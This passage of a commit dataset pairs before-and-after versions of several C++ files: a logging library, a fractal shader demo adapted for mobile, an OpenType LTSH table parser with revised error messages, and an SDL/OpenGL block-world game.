severity, const o_string_stream&stream) {\n\t\tconst string message = stream.str();\n\t\tswitch(channel) {\n\t\tcase log_channel::debug_trace:\n\t\t\tlog_severity(severity, message);\n\t\t\tbreak;\n\t\tcase log_channel::output_data:\n\t\t\t_data_sink.log(stream.str());\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tORK_UNREACHABLE\n\t\t};\n\t}\n\tvoid flush_all() {\n\t\tfor(auto&sink : _severity_sinks) {\n\t\t\tsink.flush();\n\t\t}\n\t\t_data_sink.flush();\n\t}\nprivate:\n\tvoid log_severity(const severity_level severity, const string&message) {\n\t\tconst bool do_it = ORK_DEBUG || severity > severity_level::debug;\n\t\tif(do_it) {\/\/To avoid constant conditional expression\n\t\t\t_severity_sinks[static_cast<size_t>(severity)].log(message);\n\t\t}\n\t}\n};\n\n\nstruct log_scope::impl {\npublic:\n\tstd::shared_ptr<log_multiplexer>multiplexer;\n\tlog_channel channel;\n\tseverity_level severity;\n\to_string_stream stream;\npublic:\n\timpl(std::shared_ptr<log_multiplexer>&mp, const log_channel lc, const severity_level sv)\n\t\t: multiplexer{mp}\n\t\t, channel{lc}\n\t\t, severity{sv}\n\t\t, stream{}\n\t{}\n\t~impl() {\n\t\tmultiplexer->log(channel, severity, stream);\n\t}\n\tORK_MOVE_ONLY(impl)\n};\n\nlog_scope::log_scope(std::unique_ptr<impl>&&ptr) : _pimpl{ std::move(ptr) } {}\nlog_scope::~log_scope() {}\n\n#define LOG_STREAM_OPERATOR(TYPE) \\\nlog_scope& log_scope::operator<< (const TYPE val) {\\\n\t_pimpl->stream << val;\\\n\treturn *this;\\\n}\nLOG_STREAM_OPERATOR(bool)\nLOG_STREAM_OPERATOR(short)\nLOG_STREAM_OPERATOR(unsigned short)\nLOG_STREAM_OPERATOR(int)\nLOG_STREAM_OPERATOR(unsigned)\nLOG_STREAM_OPERATOR(long)\nLOG_STREAM_OPERATOR(unsigned long)\nLOG_STREAM_OPERATOR(long long)\nLOG_STREAM_OPERATOR(unsigned long long)\nLOG_STREAM_OPERATOR(float)\nLOG_STREAM_OPERATOR(double)\nLOG_STREAM_OPERATOR(long double)\n\n#undef LOG_STREAM_OPERATOR\n#define LOG_STREAM_OPERATOR(TYPE) \\\nlog_scope& log_scope::operator<< (const TYPE val) {\\\n\t_pimpl->stream << ORK_BYTE_2_STR(val);\\\n\treturn *this;\\\n}\n\nLOG_STREAM_OPERATOR(char)\nLOG_STREAM_OPERATOR(char*)\nLOG_STREAM_OPERATOR(bstring&)\n\n#undef LOG_STREAM_OPERATOR\n#define LOG_STREAM_OPERATOR(TYPE) \\\nlog_scope& log_scope::operator<< (const TYPE val) {\\\n\t_pimpl->stream << ORK_WIDE_2_STR(val);\\\n\treturn *this;\\\n}\n\nLOG_STREAM_OPERATOR(wchar_t)\nLOG_STREAM_OPERATOR(wchar_t*)\nLOG_STREAM_OPERATOR(wstring&)\n\nlog_scope& log_scope::operator<< (const void* val) {\n\t_pimpl->stream << val;\n\treturn *this;\n}\nlog_scope& log_scope::operator<< (const std::streambuf* sb) {\n\t_pimpl->stream << sb;\n\treturn *this;\n}\nlog_scope& log_scope::operator<< (std::ostream& (*pf)(std::ostream&)) {\n\t_pimpl->stream << pf;\n\treturn *this;\n}\nlog_scope& log_scope::operator<< (std::ios& (*pf)(std::ios&)) {\n\t_pimpl->stream << pf;\n\treturn *this;\n}\nlog_scope& log_scope::operator<< (std::ios_base& (*pf)(std::ios_base&)) {\n\t_pimpl->stream << pf;\n\treturn *this;\n}\n\n\nconst string&to_formatted_string(const severity_level sv) {\n\tstatic const std::array<const string, severity_levels.size()>strings = {{\n\t\t  ORK(\"TRACE\")\n\t\t, ORK(\"DEBUG\")\n\t\t, ORK(\"INFO \")\n\t\t, ORK(\"WARN \")\n\t\t, ORK(\"ERROR\")\n\t\t, ORK(\"FATAL\")\n\t}};\n\treturn strings[static_cast<size_t>(sv)];\n}\n\n\nstruct logger::impl {\npublic:\n\tfile::path root_directory;\n\tstd::shared_ptr<log_multiplexer>multiplexer;\npublic:\n\timpl(const file::path&directory)\n\t\t: root_directory(directory)\n\t\t, multiplexer{new log_multiplexer(directory)}\n\t{}\n\tvoid flush_all() {\n\t\tmultiplexer->flush_all();\n\t}\n};\n\n\nlogger::logger(const file::path&log_directory) : _pimpl(new impl(log_directory)) {}\nlogger::~logger() {}\n\nconst file::path& logger::root_directory() {\n\treturn _pimpl->root_directory;\n}\n\nlog_scope logger::get_log_scope(\n\t  const string&file_\n\t, const string&line_\n\t, const string&function_\n\t, const log_channel channel\n\t, const severity_level severity)\n{\n\tconst file::path fullpath(file_);\n\tstring file(fullpath.filename().ORK_GEN_STR());\n\tfile.resize(28, ORK(' '));\n\n\tstring line(line_);\n\tline.resize(4, ORK(' '));\n\n\tstring function(function_);\n\tfunction.resize(40, ORK(' '));\n\n\tstd::unique_ptr<log_scope::impl> ls_impl(new log_scope::impl(_pimpl->multiplexer, channel, severity));\n\tlog_scope scope(std::move(ls_impl));\n\t\/\/Output formatted context first\n\tscope << ORK(\"[\") << to_formatted_string(severity) << ORK(\"]:\") << file << ORK(\"(\") << line << ORK(\"):\") << function << ORK(\"-- \");\n\n\t\/\/Finally, return the stream to the client\n\treturn std::move(scope);\n}\n\nvoid logger::flush_all() {\n\t_pimpl->flush_all();\n}\n\n\n\nlogger*_g_log = nullptr;\nint make_global_log(const string&directory) {\n\tstatic logger log(directory);\n\t_g_log = &log;\n\treturn 0;\n}\nlogger& get_global_log() {\n\treturn *_g_log;\n}\n\n\n}\/\/namespace ork\n<|endoftext|>"}
{"text":"<commit_before>\n#include \"demoloop.h\"\n#include <glm\/gtc\/matrix_transform.hpp>\n#include <glm\/gtx\/rotate_vector.hpp>\n#include \"graphics\/shader.h\"\nusing namespace std;\nusing namespace demoloop;\n\nfloat t = 0;\nconst float CYCLE_LENGTH = 10;\n\nconst static std::string shaderCode = R\"===(\nuniform mediump float cycle_ratio;\n\n#define DEMOLOOP_M_PI 3.1459\n\n#ifdef VERTEX\nvec4 position(mat4 transform_proj, mat4 model, vec4 vertpos) {\n  return transform_proj * model * vertpos;\n}\n#endif\n\n#ifdef PIXEL\nconst int iter = 100;\n\nconst int numColors = 5;\nconst vec3 colors[numColors] = vec3[](\n  \/\/ vec3(26.0 \/ 256.0, 41.0 \/ 256.0, 128.0 \/ 256.0),\n  \/\/ vec3(38.0 \/ 256.0, 208.0 \/ 256.0, 206.0 \/ 256.0),\n  \/\/ vec3(1.0, 1.0, 1.0),\n  \/\/ vec3(0.0, 0.0, 0.0)\n\n  vec3(0.8, 0.60, 0.1),\n  vec3(234.0 \/ 256.0, 119.0 \/ 256.0, 2.0 \/ 256.0),\n  vec3(1.0, 0.0, 0.0),\n  vec3(1.0, 0.70, 0.0),\n  vec3(0.0, 0.0, 0.0)\n);\n\/\/ float arrayTest[5] = float[5](3.4, 4.2, 5.0, 5.2, 1.1);\n\nvec4 effect(vec4 color, Image texture, vec2 tc, vec2 screen_coords) {\n  float t = cycle_ratio;\n  float x = tc.x;\n  float y = tc.y;\n\n  vec2 c = vec2(\n    (1.0 - pow(sin(cycle_ratio * DEMOLOOP_M_PI), 5.0)) \/ 28.5 + 0.35,\n    0.3 + sin(cycle_ratio * DEMOLOOP_M_PI * 2.0) \/ 30.0\n  );\n\n  vec2 z;\n  z.x = 3.0 * (x - 0.5);\n  z.y = 2.0 * (y - 0.5);\n\n  z \/= 2.0;\n  z.y -= 0.4;\n\n  const float B = 256.0;\n\n  int iterations = 0;\n  for(int i=0; i<iter; i++) {\n    z = vec2( z.x*z.x - z.y*z.y, 2.0*z.x*z.y ) + c;\n\n    if(dot(z,z)>(B*B)) break;\n    iterations = i;\n  }\n\n  \/\/ float q = (iterations == iter ? 0.0 : float(iterations)) \/ iter;\n  float q = (iterations - log2(log2(dot(z,z))) + 4.0) \/ iter;\n  float stepIncrement = 1.0 \/ (numColors + 1.0);\n  float step = 0.0;\n\n  vec3 mixed = vec3(0.0, 0.0, 0.0);\n  for (int i = 0; i < numColors; ++i) {\n    mixed = mix(mixed, colors[i], smoothstep(step, step + stepIncrement, q)); step += stepIncrement;\n  }\n  return vec4(mixed, 1.0);\n}\n#endif\n)===\";\nclass Loop050 : public Demoloop {\npublic:\n  Loop050() : Demoloop(150, 150, 150), shader({shaderCode, shaderCode}) {\n  }\n\n  void Update(float dt) {\n    t += dt;\n\n    const float cycle = fmod(t, CYCLE_LENGTH);\n    const float cycle_ratio = cycle \/ CYCLE_LENGTH;\n\n    shader.attach();\n    shader.sendFloat(\"cycle_ratio\", 1, &cycle_ratio, 1);\n\n    renderTexture(gl.getDefaultTexture(), 0, 0, width, height);\n\n    shader.detach();\n  }\n\nprivate:\n  Shader shader;\n};\n\nint main(int, char**){\n  Loop050 test;\n  test.Run();\n\n  return 0;\n}\n<commit_msg>fix loop 051 for mobile<commit_after>\n#include \"demoloop.h\"\n#include <glm\/gtc\/matrix_transform.hpp>\n#include <glm\/gtx\/rotate_vector.hpp>\n#include \"graphics\/shader.h\"\nusing namespace std;\nusing namespace demoloop;\n\nfloat t = 0;\nconst float CYCLE_LENGTH = 10;\n\nconst static std::string shaderCode = R\"===(\nuniform mediump float cycle_ratio;\n\n#define DEMOLOOP_M_PI 3.1459\n\n#ifdef VERTEX\nvec4 position(mat4 transform_proj, mat4 model, vec4 vertpos) {\n  return transform_proj * model * vertpos;\n}\n#endif\n\n#ifdef PIXEL\nconst int iter = 100;\n\n#define NUM_COLORS 5\nuniform vec3 gradientColors[NUM_COLORS];\n\nvec4 effect(vec4 color, Image texture, vec2 tc, vec2 screen_coords) {\n  float t = cycle_ratio;\n  float x = tc.x;\n  float y = tc.y;\n\n  vec2 c = vec2(\n    (1.0 - pow(sin(cycle_ratio * DEMOLOOP_M_PI), 5.0)) \/ 28.5 + 0.35,\n    0.3 + sin(cycle_ratio * DEMOLOOP_M_PI * 2.0) \/ 30.0\n  );\n\n  highp vec2 z;\n  z.x = 3.0 * (x - 0.5);\n  z.y = 2.0 * (y - 0.5);\n\n  z \/= 2.0;\n  z.y -= 0.4;\n\n  const float B = 256.0;\n\n  int iterations = 0;\n  for(int i=0; i<iter; i++) {\n    z = vec2( z.x*z.x - z.y*z.y, 2.0*z.x*z.y ) + c;\n\n    if(dot(z,z)>(B*B)) break;\n    iterations = i;\n  }\n\n  float fIterations = float(iterations);\n  float logLogDot = log2(log2(dot(z,z)));\n  float q = (fIterations - logLogDot + 4.0) \/ float(iter);\n  float stepIncrement = 1.0 \/ (float(NUM_COLORS) + 1.0);\n  float step = 0.0;\n\n  vec3 mixed = vec3(0.0, 0.0, 0.0);\n  for (int i = 0; i < NUM_COLORS; ++i) {\n    mixed = mix(mixed, gradientColors[i], smoothstep(step, step + stepIncrement, q)); step += stepIncrement;\n  }\n  return vec4(mixed, 1.0);\n}\n#endif\n)===\";\nclass Loop050 : public Demoloop {\npublic:\n  Loop050() : Demoloop(150, 150, 150), shader({shaderCode, shaderCode}) {\n    glm::vec3 colors[5] = {\n      glm::vec3(0.8, 0.6, 0.1),\n      glm::vec3(0.917, 0.467, 0.008),\n      glm::vec3(1.0, 0.0, 0.0),\n      glm::vec3(1.0, 0.7, 0.0),\n      glm::vec3(0.0, 0.0, 0.0),\n    };\n    shader.sendFloat(\"gradientColors\", 3, &colors[0].x, 5);\n  }\n\n  void Update(float dt) {\n    t += dt;\n\n    const float cycle = fmod(t, CYCLE_LENGTH);\n    const float cycle_ratio = cycle \/ CYCLE_LENGTH;\n\n    shader.attach();\n    shader.sendFloat(\"cycle_ratio\", 1, &cycle_ratio, 1);\n\n    renderTexture(gl.getDefaultTexture(), 0, 0, width, height);\n\n    shader.detach();\n  }\n\nprivate:\n  Shader shader;\n};\n\nint main(int, char**){\n  Loop050 test;\n  test.Run();\n\n  return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2009-2017 The OTS Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"ltsh.h\"\n\n#include \"maxp.h\"\n\n\/\/ LTSH - Linear Threshold\n\/\/ http:\/\/www.microsoft.com\/typography\/otspec\/ltsh.htm\n\nnamespace ots {\n\nbool OpenTypeLTSH::Parse(const uint8_t *data, size_t length) {\n  Buffer table(data, length);\n\n  OpenTypeMAXP *maxp = dynamic_cast<OpenTypeMAXP*>(\n      GetFont()->GetTable(OTS_TAG_MAXP));\n  if (!maxp) {\n    return Error(\"Missing maxp table from font needed by ltsh\");\n  }\n\n  uint16_t num_glyphs = 0;\n  if (!table.ReadU16(&this->version) ||\n      !table.ReadU16(&num_glyphs)) {\n    return Error(\"Failed to read ltsh header\");\n  }\n\n  if (this->version != 0) {\n    return Drop(\"bad version: %u\", this->version);\n  }\n\n  if (num_glyphs != maxp->num_glyphs) {\n    return Drop(\"bad num_glyphs: %u\", num_glyphs);\n  }\n\n  this->ypels.reserve(num_glyphs);\n  for (unsigned i = 0; i < num_glyphs; ++i) {\n    uint8_t pel = 0;\n    if (!table.ReadU8(&pel)) {\n      return Error(\"Failed to read pixels for glyph %d\", i);\n    }\n    this->ypels.push_back(pel);\n  }\n\n  return true;\n}\n\nbool OpenTypeLTSH::Serialize(OTSStream *out) {\n  const uint16_t num_ypels = static_cast<uint16_t>(this->ypels.size());\n  if (num_ypels != this->ypels.size() ||\n      !out->WriteU16(this->version) ||\n      !out->WriteU16(num_ypels)) {\n    return Error(\"Failed to write pels size\");\n  }\n  for (uint16_t i = 0; i < num_ypels; ++i) {\n    if (!out->Write(&(this->ypels[i]), 1)) {\n      return Error(\"Failed to write pixel size for glyph %d\", i);\n    }\n  }\n\n  return true;\n}\n\nbool OpenTypeLTSH::ShouldSerialize() {\n  return Table::ShouldSerialize() &&\n         \/\/ this table is not for CFF fonts.\n         GetFont()->GetTable(OTS_TAG_GLYF) != NULL;\n}\n\n}  \/\/ namespace ots\n<commit_msg>[ltsh] Improve error messages<commit_after>\/\/ Copyright (c) 2009-2017 The OTS Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"ltsh.h\"\n\n#include \"maxp.h\"\n\n\/\/ LTSH - Linear Threshold\n\/\/ http:\/\/www.microsoft.com\/typography\/otspec\/ltsh.htm\n\nnamespace ots {\n\nbool OpenTypeLTSH::Parse(const uint8_t *data, size_t length) {\n  Buffer table(data, length);\n\n  OpenTypeMAXP *maxp = dynamic_cast<OpenTypeMAXP*>(\n      GetFont()->GetTable(OTS_TAG_MAXP));\n  if (!maxp) {\n    return Error(\"Required maxp table is missing\");\n  }\n\n  uint16_t num_glyphs = 0;\n  if (!table.ReadU16(&this->version) ||\n      !table.ReadU16(&num_glyphs)) {\n    return Error(\"Failed to read table header\");\n  }\n\n  if (this->version != 0) {\n    return Drop(\"Unsupported version: %u\", this->version);\n  }\n\n  if (num_glyphs != maxp->num_glyphs) {\n    return Drop(\"Bad numGlyphs: %u\", num_glyphs);\n  }\n\n  this->ypels.reserve(num_glyphs);\n  for (unsigned i = 0; i < num_glyphs; ++i) {\n    uint8_t pel = 0;\n    if (!table.ReadU8(&pel)) {\n      return Error(\"Failed to read pixels for glyph %d\", i);\n    }\n    this->ypels.push_back(pel);\n  }\n\n  return true;\n}\n\nbool OpenTypeLTSH::Serialize(OTSStream *out) {\n  const uint16_t num_ypels = static_cast<uint16_t>(this->ypels.size());\n  if (num_ypels != this->ypels.size() ||\n      !out->WriteU16(this->version) ||\n      !out->WriteU16(num_ypels)) {\n    return Error(\"Failed to write table header\");\n  }\n  for (uint16_t i = 0; i < num_ypels; ++i) {\n    if (!out->Write(&(this->ypels[i]), 1)) {\n      return Error(\"Failed to write pixel size for glyph %d\", i);\n    }\n  }\n\n  return true;\n}\n\nbool OpenTypeLTSH::ShouldSerialize() {\n  return Table::ShouldSerialize() &&\n         \/\/ this table is not for CFF fonts.\n         GetFont()->GetTable(OTS_TAG_GLYF) != NULL;\n}\n\n}  \/\/ namespace ots\n<|endoftext|>"}
{"text":"<commit_before>#define GLEW_STATIC\n#define RUN_GRAPHICS_DISPLAY 0x00;\n#define GLM_FORCE_RADIANS \n\n#include <GL\/glew.h>\n#include <GL\/gl.h>\n#include <SDL2\/SDL.h>\n#include <glm\/glm.hpp>\n#include <glm\/ext.hpp>\n#include <iostream>\n#include <memory>\n#include <boost\/program_options.hpp>\n\n#include \"common.h\"\n#include \"GameWorld.h\"\n\n\/\/ Lousy global variables\nconst Uint8* keyboard_input;\n\nSDL_Window * _window;\n\nint window_width, window_height;\nbool fullscreen = false;\n\n\/*\n * SDL timers run in separate threads.  In the timer thread\n * push an event onto the event queue.  This event signifies\n * to call display() from the thread in which the OpenGL \n * context was created.\n *\/\nUint32 tick(Uint32 interval, void *param)\n{\n\tSDL_Event event;\n\tevent.type = SDL_USEREVENT;\n\tevent.user.code = RUN_GRAPHICS_DISPLAY;\n\tevent.user.data1 = 0;\n\tevent.user.data2 = 0;\n\tSDL_PushEvent(&event);\n\treturn interval;\n\tstd::cout << \"tick\" << std::endl;\n}\n\nstruct SDLWindowDeleter\n{\n\tinline void operator()(SDL_Window* window)\n\t{\n\t\tSDL_DestroyWindow(window);\n\t}\n};\n\n\/*\n * Handles input\n *\/\nvoid HandleInput(const std::shared_ptr<GameWorld> game_world)\n{\n\t\/\/ Camera controller\n\tint x, y;\n\tSDL_PumpEvents();\n\tSDL_GetMouseState(&x, &y); \n\tSDL_EventState(SDL_MOUSEMOTION, SDL_IGNORE);\n\tSDL_WarpMouseInWindow(_window, window_width\/2, window_height\/2); \n\tSDL_EventState(SDL_MOUSEMOTION, SDL_ENABLE);\n\tSDL_PumpEvents(); \n\tgame_world->MoveCamera(glm::vec2(x,y), glm::vec2(window_width, window_height));\n\n\t\/\/ Update game_world camera\n\tif(keyboard_input[SDL_SCANCODE_W])\n\t\tgame_world->CameraController(1); \/\/ forward\n\tif(keyboard_input[SDL_SCANCODE_A])\n\t\tgame_world->CameraController(2); \/\/ left\n\tif(keyboard_input[SDL_SCANCODE_S])\n\t\tgame_world->CameraController(3); \/\/ back\n\tif(keyboard_input[SDL_SCANCODE_D])\n\t\tgame_world->CameraController(4); \/\/ right\n\tif(keyboard_input[SDL_SCANCODE_SPACE])\n\t\tgame_world->CameraController(9); \/\/ player: +y (\"fly\" up)\n\tif(keyboard_input[SDL_SCANCODE_LCTRL])\n\t\tgame_world->CameraController(10); \/\/ player: -y (\"fly\" down)\n\n\tif(SDL_GetMouseState(NULL, NULL) & SDL_BUTTON(SDL_BUTTON_LEFT))\n\t\tgame_world->DoAction(1); \n\tif(SDL_GetMouseState(NULL, NULL) & SDL_BUTTON(SDL_BUTTON_RIGHT))\n\t\tgame_world->DoAction(2); \n\tif(keyboard_input[SDL_SCANCODE_G])\n\t\tgame_world->DoAction(3);\n\tif(keyboard_input[SDL_SCANCODE_H])\n\t\tgame_world->DoAction(4);\n\n\tif(keyboard_input[SDL_SCANCODE_E])\n\t\tgame_world->ChangeBlockDist(1);\n\tif(keyboard_input[SDL_SCANCODE_Q])\n\t\tgame_world->ChangeBlockDist(-1);\n\n\tif(keyboard_input[SDL_SCANCODE_ESCAPE])\n\t\tSDL_Quit();\n}\n\n\/*\n * Draws the game world and handles buffer switching.\n *\/\nvoid Draw(const std::shared_ptr<SDL_Window> window, const std::shared_ptr<GameWorld> game_world)\n{\n\t\/\/ Background colour for the window\n\tglClearColor(0.0f, 0.2f, 0.2f, 0.3f);\n\tglClear(GL_COLOR_BUFFER_BIT|GL_DEPTH_BUFFER_BIT);\n\n\t\/\/ Draw the gameworld\n\tgame_world->Draw();\n\n\t\/\/ Swap buffers\n\tSDL_GL_SwapWindow(window.get());\n}\n\n\/*\n * Handles the initialisation of the game world.\n * Configures the SDL window and initialises GLEW\n *\/\nstd::shared_ptr<SDL_Window> InitWorld()\n{\n\t\/\/ Window properties\n\tstd::shared_ptr<SDL_Window> window;\n\n\t\/\/ Glew will later ensure that OpenGL 3 *is* supported\n\tSDL_GL_SetAttribute(SDL_GL_CONTEXT_PROFILE_MASK, SDL_GL_CONTEXT_PROFILE_CORE);\n\tSDL_GL_SetAttribute(SDL_GL_CONTEXT_MAJOR_VERSION, 3);\n\tSDL_GL_SetAttribute(SDL_GL_CONTEXT_MINOR_VERSION, 0);\n\n\t\/\/ Do double buffering in GL\n\tSDL_GL_SetAttribute(SDL_GL_DOUBLEBUFFER, 1);\n\tSDL_GL_SetAttribute(SDL_GL_DEPTH_SIZE, 24);\n\n\t\/\/ Initialise SDL - when using C\/C++ it's common to have to\n\t\/\/ initialise libraries by calling a function within them.\n\tif(SDL_Init(SDL_INIT_VIDEO|SDL_INIT_AUDIO|SDL_INIT_TIMER) < 0)\n\t{\n\t\tstd::cout << \"Failed to initialise SDL: \" << SDL_GetError() << std::endl;\n\t\treturn nullptr;\n\t}\n\tSDL_GetError();\n\n\t\/\/ When we close a window quit the SDL application\n\tatexit(SDL_Quit);\n\n\tSDL_ShowCursor(0);\n\n\tif(fullscreen)\n\t{\n\t\tSDL_DisplayMode display;\n\t\tSDL_GetCurrentDisplayMode(0, &display);\n\t\twindow_width = display.w;\n\t\twindow_height = display.h;\n\t}\n\telse\n\t{\n\t\twindow_width = 1024;\n\t\twindow_height = 768;\n\t}\n\t\n\t\/\/ Create a new window with an OpenGL surface\n\t_window = SDL_CreateWindow(\"BlockWorld\"\n\t\t\t\t\t\t\t , SDL_WINDOWPOS_CENTERED\n\t\t\t\t\t\t\t , SDL_WINDOWPOS_CENTERED\n\t\t\t\t\t\t\t , window_width\n\t\t\t\t\t\t\t , window_height\n\t\t\t\t\t\t\t , SDL_WINDOW_OPENGL | SDL_WINDOW_SHOWN);\n\n\tif(fullscreen)\n\t{\n\t\tSDL_SetWindowFullscreen(_window, SDL_WINDOW_FULLSCREEN);\n\t}\n\t\n\tif(!_window)\n\t{\n\t\tstd::cout << \"Failed to create SDL window: \" << SDL_GetError() << std::endl;\n\t\treturn nullptr;\n\t}\n\n\tSDL_GLContext glContext = SDL_GL_CreateContext(_window);\n\tif (!glContext)\n\t{\n\t\tstd::cout << \"Failed to create OpenGL context: \" << SDL_GetError() << std::endl;\n\t\treturn nullptr;\n\t}\n\n\t\/\/ Initialise GLEW - an easy way to ensure OpenGl 3.0+\n\t\/\/ The *must* be done after we have set the video mode - otherwise we have no\n\t\/\/ OpenGL context to test.\n\tglewInit();\n\tif(!glewIsSupported(\"GL_VERSION_3_0\"))\n\t{\n\t\tstd::cerr << \"OpenGL 3.0 not available\" << std::endl;\n\t\treturn nullptr;\n\t}\n\n\t\/\/ OpenGL settings\n\tglDisable(GL_CULL_FACE);\n\tglEnable(GL_DEPTH_TEST);\n\tglDepthFunc(GL_LESS);\n\n\twindow.reset(_window, SDL_DestroyWindow);\n\treturn window;\n}\n\nApplicationMode ParseOptions (int argc, char ** argv)\n{\n\tnamespace po = boost::program_options;\n\n\tpo::options_description desc(\"Allowed options\");\n\tdesc.add_options()\n\t\t(\"help\", \"print this help message\")\n\t\t(\"fullscreen\", \"Runs the game in fullscreen\")\n\t\t(\"translate\", \"Show translation example (default)\")\n\t\t(\"rotate\", \"Show rotation example\")\n\t\t(\"scale\", \"Show scale example\");\n\n\tpo::variables_map vm;\n\tpo::store(po::parse_command_line(argc, argv, desc), vm);\n\tpo::notify(vm);\n\n\tif(vm.count(\"help\"))\n\t{\n\t\tstd::cout << desc << std::endl;\n\t\texit(0);\n\t}\n\n\tif(vm.count(\"fullscreen\"))\n\t{\n\t\tfullscreen = true;\n\t}\n\n\tif(vm.count(\"rotate\"))\n\t{\n\t\treturn ROTATE;\n\t}\n\n\tif(vm.count(\"scale\"))\n\t{\n\t\treturn SCALE;\n\t}\n\n\t\/\/ The default\n\treturn TRANSFORM;\n}\n\nint main(int argc, char ** argv) {\n\tUint32 delay = 1000\/60; \/\/ in milliseconds\n\n\tauto mode = ParseOptions(argc, argv);\n\tauto window = InitWorld();\n\tauto game_world = std::make_shared<GameWorld>(mode);\n\n\tif(!window)\n\t{\n\t\tSDL_Quit();\n\t}\n\n\tkeyboard_input = SDL_GetKeyboardState(NULL);\n\n\t\/\/ Call the function \"tick\" every delay milliseconds\n\tSDL_AddTimer(delay, tick, NULL);\n\n\t\/\/ Add the main event loop\n\tSDL_Event event;\n\twhile (SDL_WaitEvent(&event))\n\t{\n\t\tswitch (event.type)\n\t\t{\n\t\t\tcase SDL_QUIT:\n\t\t\t\tSDL_Quit();\n\t\t\t\tbreak;\n\t\t\tcase SDL_USEREVENT:\n\t\t\t\tDraw(window, game_world);\n\t\t\t\tHandleInput(game_world);\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t  break;\n\t\t}\n\t}\n}\n<commit_msg>Remove tick output<commit_after>#define GLEW_STATIC\n#define RUN_GRAPHICS_DISPLAY 0x00;\n#define GLM_FORCE_RADIANS \n\n#include <GL\/glew.h>\n#include <GL\/gl.h>\n#include <SDL2\/SDL.h>\n#include <glm\/glm.hpp>\n#include <glm\/ext.hpp>\n#include <iostream>\n#include <memory>\n#include <boost\/program_options.hpp>\n\n#include \"common.h\"\n#include \"GameWorld.h\"\n\n\/\/ Lousy global variables\nconst Uint8* keyboard_input;\n\nSDL_Window * _window;\n\nint window_width, window_height;\nbool fullscreen = false;\n\n\/*\n * SDL timers run in separate threads.  In the timer thread\n * push an event onto the event queue.  This event signifies\n * to call display() from the thread in which the OpenGL \n * context was created.\n *\/\nUint32 tick(Uint32 interval, void *param)\n{\n\tSDL_Event event;\n\tevent.type = SDL_USEREVENT;\n\tevent.user.code = RUN_GRAPHICS_DISPLAY;\n\tevent.user.data1 = 0;\n\tevent.user.data2 = 0;\n\tSDL_PushEvent(&event);\n\treturn interval;\n}\n\nstruct SDLWindowDeleter\n{\n\tinline void operator()(SDL_Window* window)\n\t{\n\t\tSDL_DestroyWindow(window);\n\t}\n};\n\n\/*\n * Handles input\n *\/\nvoid HandleInput(const std::shared_ptr<GameWorld> game_world)\n{\n\t\/\/ Camera controller\n\tint x, y;\n\tSDL_PumpEvents();\n\tSDL_GetMouseState(&x, &y); \n\tSDL_EventState(SDL_MOUSEMOTION, SDL_IGNORE);\n\tSDL_WarpMouseInWindow(_window, window_width\/2, window_height\/2); \n\tSDL_EventState(SDL_MOUSEMOTION, SDL_ENABLE);\n\tSDL_PumpEvents(); \n\tgame_world->MoveCamera(glm::vec2(x,y), glm::vec2(window_width, window_height));\n\n\t\/\/ Update game_world camera\n\tif(keyboard_input[SDL_SCANCODE_W])\n\t\tgame_world->CameraController(1); \/\/ forward\n\tif(keyboard_input[SDL_SCANCODE_A])\n\t\tgame_world->CameraController(2); \/\/ left\n\tif(keyboard_input[SDL_SCANCODE_S])\n\t\tgame_world->CameraController(3); \/\/ back\n\tif(keyboard_input[SDL_SCANCODE_D])\n\t\tgame_world->CameraController(4); \/\/ right\n\tif(keyboard_input[SDL_SCANCODE_SPACE])\n\t\tgame_world->CameraController(9); \/\/ player: +y (\"fly\" up)\n\tif(keyboard_input[SDL_SCANCODE_LCTRL])\n\t\tgame_world->CameraController(10); \/\/ player: -y (\"fly\" down)\n\n\tif(SDL_GetMouseState(NULL, NULL) & SDL_BUTTON(SDL_BUTTON_LEFT))\n\t\tgame_world->DoAction(1); \n\tif(SDL_GetMouseState(NULL, NULL) & SDL_BUTTON(SDL_BUTTON_RIGHT))\n\t\tgame_world->DoAction(2); \n\tif(keyboard_input[SDL_SCANCODE_G])\n\t\tgame_world->DoAction(3);\n\tif(keyboard_input[SDL_SCANCODE_H])\n\t\tgame_world->DoAction(4);\n\n\tif(keyboard_input[SDL_SCANCODE_E])\n\t\tgame_world->ChangeBlockDist(1);\n\tif(keyboard_input[SDL_SCANCODE_Q])\n\t\tgame_world->ChangeBlockDist(-1);\n\n\tif(keyboard_input[SDL_SCANCODE_ESCAPE])\n\t\tSDL_Quit();\n}\n\n\/*\n * Draws the game world and handles buffer switching.\n *\/\nvoid Draw(const std::shared_ptr<SDL_Window> window, const std::shared_ptr<GameWorld> game_world)\n{\n\t\/\/ Background colour for the window\n\tglClearColor(0.0f, 0.2f, 0.2f, 0.3f);\n\tglClear(GL_COLOR_BUFFER_BIT|GL_DEPTH_BUFFER_BIT);\n\n\t\/\/ Draw the gameworld\n\tgame_world->Draw();\n\n\t\/\/ Swap buffers\n\tSDL_GL_SwapWindow(window.get());\n}\n\n\/*\n * Handles the initialisation of the game world.\n * Configures the SDL window and initialises GLEW\n *\/\nstd::shared_ptr<SDL_Window> InitWorld()\n{\n\t\/\/ Window properties\n\tstd::shared_ptr<SDL_Window> window;\n\n\t\/\/ Glew will later ensure that OpenGL 3 *is* supported\n\tSDL_GL_SetAttribute(SDL_GL_CONTEXT_PROFILE_MASK, SDL_GL_CONTEXT_PROFILE_CORE);\n\tSDL_GL_SetAttribute(SDL_GL_CONTEXT_MAJOR_VERSION, 3);\n\tSDL_GL_SetAttribute(SDL_GL_CONTEXT_MINOR_VERSION, 0);\n\n\t\/\/ Do double buffering in GL\n\tSDL_GL_SetAttribute(SDL_GL_DOUBLEBUFFER, 1);\n\tSDL_GL_SetAttribute(SDL_GL_DEPTH_SIZE, 24);\n\n\t\/\/ Initialise SDL - when using C\/C++ it's common to have to\n\t\/\/ initialise libraries by calling a function within them.\n\tif(SDL_Init(SDL_INIT_VIDEO|SDL_INIT_AUDIO|SDL_INIT_TIMER) < 0)\n\t{\n\t\tstd::cout << \"Failed to initialise SDL: \" << SDL_GetError() << std::endl;\n\t\treturn nullptr;\n\t}\n\tSDL_GetError();\n\n\t\/\/ When we close a window quit the SDL 